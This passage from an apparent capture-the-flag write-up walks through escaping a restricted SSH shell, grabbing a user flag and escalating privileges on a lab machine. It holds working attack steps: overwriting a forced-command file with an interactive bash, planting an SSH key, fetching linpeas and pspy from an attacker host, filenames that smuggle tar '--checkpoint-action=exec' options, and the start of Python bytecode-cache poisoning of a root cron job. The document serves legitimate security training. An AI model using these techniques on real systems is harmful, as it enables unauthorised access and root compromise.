&lt;h3&gt;
  
  
  5.4 Escaping the restricted shell
&lt;/h3&gt;

&lt;p&gt;Two things make the bypass possible:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;/opt/restrict&lt;/code&gt; is group/other-writable (&lt;code&gt;-rwxrwxr-x&lt;/code&gt;, owned by &lt;code&gt;svc_backup:root&lt;/code&gt;) - the exact file SSH forces as the login command can be overwritten.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;svc_backup&lt;/code&gt;'s own &lt;code&gt;.ssh&lt;/code&gt; directory is writable over SFTP, so a public key can be dropped in for key-based auth.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Add our public key:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_ed25519.pub &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; authorized_keys
&lt;span class="c"&gt;# on sftp&lt;/span&gt;
put authorized_keys /home/svc_backup/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Replace the forced command with a real shell:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; restrict_new &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
/bin/bash -i
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x restrict_new
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on sftp&lt;/span&gt;
put restrict_new /opt/restrict
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Connect with an interactive shell:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 svc_backup@&amp;lt;machine-ip&amp;gt;
svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;svc_backup
svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;svc_backup:
Sorry, user svc_backup may not run &lt;span class="nb"&gt;sudo &lt;/span&gt;on odori.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No sudo rights - privilege escalation has to come from somewhere else on the box.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. User Flag
&lt;/h2&gt;

&lt;p&gt;Grabbed via SFTP, before the shell escape above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sftp&amp;gt; get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt                                                                    100%   33     0.0KB/s   00:00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
REDACTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
...
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 31K Apr 10 2026 /usr/bin/pkexec  &lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  Linux4.10_to_5.1.17&lt;span class="o"&gt;(&lt;/span&gt;CVE-2019-13272&lt;span class="o"&gt;)&lt;/span&gt;/rhel_6&lt;span class="o"&gt;(&lt;/span&gt;CVE-2011-1485&lt;span class="o"&gt;)&lt;/span&gt;/Generic_CVE-2021-4034
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull &lt;code&gt;linpeas.sh&lt;/code&gt; and &lt;code&gt;pspy64&lt;/code&gt; to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own &lt;code&gt;crontab -l&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://&amp;lt;attacker-ip&amp;gt;/linpeas.sh
svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://&amp;lt;attacker-ip&amp;gt;/pspy64 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod&lt;/span&gt; +x pspy64 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./pspy64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pspy64&lt;/code&gt; caught a root-owned process firing every minute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 The archiver script
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;/opt/archiver&lt;/code&gt; - already noted earlier over SFTP but not yet connected to a cron job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc_backup@odori:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root root  812 Jan 11  2025 app.py
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timedelta&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;helper&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tar_and_move_files&lt;/span&gt;

&lt;span class="n"&gt;backup_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/backup&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;archive_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/archive&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;threshold_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;365&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_and_archive_files&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dirs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;backup_dir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;file_mod_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromtimestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getmtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;file_mod_time&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;threshold_date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Moving &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; to archive...&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;tar_and_move_files&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is not old enough to archive.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;scan_and_archive_files&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# helper.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tar_and_move_files&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;current_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y-%m-%d&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;tar_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current_date&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.tar.gz&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/tar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-czf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tar_filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two separate weaknesses jump out:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;tar&lt;/code&gt; is invoked with a filename taken straight from &lt;code&gt;/backup&lt;/code&gt;, with no sanitization&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;helper.py&lt;/code&gt; -&amp;gt; &lt;code&gt;tar_and_move_files()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;__pycache__&lt;/code&gt; is world-writable (&lt;code&gt;drwxr-xrwx&lt;/code&gt;), and the cached bytecode file inside it is owned by &lt;code&gt;svc_backup&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/opt/archiver/__pycache__/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;/backup&lt;/code&gt; itself is also writable by &lt;code&gt;svc_backup&lt;/code&gt; (confirmed via linpeas and by the earlier SMB &lt;code&gt;backup&lt;/code&gt; share), so both paths are reachable.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Attempt 1: tar argument injection (failed)
&lt;/h3&gt;

&lt;p&gt;The idea: drop a filename in &lt;code&gt;/backup&lt;/code&gt;, aged past the 3-year threshold, crafted so &lt;code&gt;tar&lt;/code&gt; parses it as an &lt;strong&gt;option&lt;/strong&gt; instead of a filename - classic GTFOBins-style tar argument injection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /backup
&lt;span class="nb"&gt;touch&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"4 years ago"&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint=1"&lt;/span&gt;
&lt;span class="nb"&gt;touch&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"4 years ago"&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint-action=exec=sh shell.sh"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This doesn't work here. &lt;code&gt;app.py&lt;/code&gt; calls &lt;code&gt;tar_and_move_files()&lt;/code&gt; &lt;strong&gt;once per file&lt;/strong&gt; found by &lt;code&gt;os.walk()&lt;/code&gt;, and each call spawns its &lt;strong&gt;own separate&lt;/strong&gt; &lt;code&gt;tar&lt;/code&gt; process with a single filename argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/tar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-czf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tar_filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;code&gt;--checkpoint=1&lt;/code&gt; and &lt;code&gt;--checkpoint-action=...&lt;/code&gt; land in two unrelated &lt;code&gt;tar&lt;/code&gt; invocations, never together on the same command line. &lt;code&gt;--checkpoint&lt;/code&gt; alone is harmless (just prints progress), so nothing fires. Confirmed manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/tar &lt;span class="nt"&gt;-czf&lt;/span&gt; /tmp/test1.tar.gz &lt;span class="nt"&gt;-C&lt;/span&gt; /home/svc_backup &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint=1"&lt;/span&gt;
&lt;span class="c"&gt;# exit code: 0, archive created normally - no injection possible this way&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single self-contained option like &lt;code&gt;--use-compress-program=/path/to/script&lt;/code&gt; would work in principle, since it needs no pairing with a second argument - but the &lt;code&gt;__pycache__&lt;/code&gt; write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.4 Attempt 2: &lt;code&gt;__pycache__&lt;/code&gt; bytecode poisoning (successful)
&lt;/h3&gt;

&lt;p&gt;Python's import system trusts a cached &lt;code&gt;.pyc&lt;/code&gt; file over recompiling its matching &lt;code&gt;.py&lt;/code&gt; source whenever the &lt;code&gt;.pyc&lt;/code&gt;'s embedded header - specifically the source file's &lt;code&gt;(mtime, size)&lt;/code&gt; - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since &lt;code&gt;helper.cpython-310.pyc&lt;/code&gt; was owned by and writable by &lt;code&gt;svc_backup&lt;/code&gt;, a forged &lt;code&gt;.pyc&lt;/code&gt; with a header matching the real &lt;code&gt;helper.py&lt;/code&gt; would be loaded and executed as-is by root's cron job, without the actual &lt;code&gt;helper.py&lt;/code&gt; source ever being touched.&lt;/p&gt;

&lt;p&gt;(See Section 11 - References for background on this technique.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 - capture the real source file's mtime/size&lt;/strong&gt;, needed so the forged header validates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;REAL_MTIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;stat&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'%Y'&lt;/span&gt; /opt/archiver/helper.py&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;REAL_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;stat&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; /opt/archiver/helper.py&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 - write a malicious &lt;code&gt;helper.py&lt;/code&gt;.&lt;/strong&gt; The payload has to sit at &lt;strong&gt;module scope&lt;/strong&gt;, not inside &lt;code&gt;tar_and_move_files()&lt;/code&gt; - the function body only runs if &lt;code&gt;app.py&lt;/code&gt; actually calls it, which requires a qualifying file in &lt;code&gt;/backup&lt;/code&gt;. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of &lt;code&gt;/backup&lt;/code&gt;'s contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
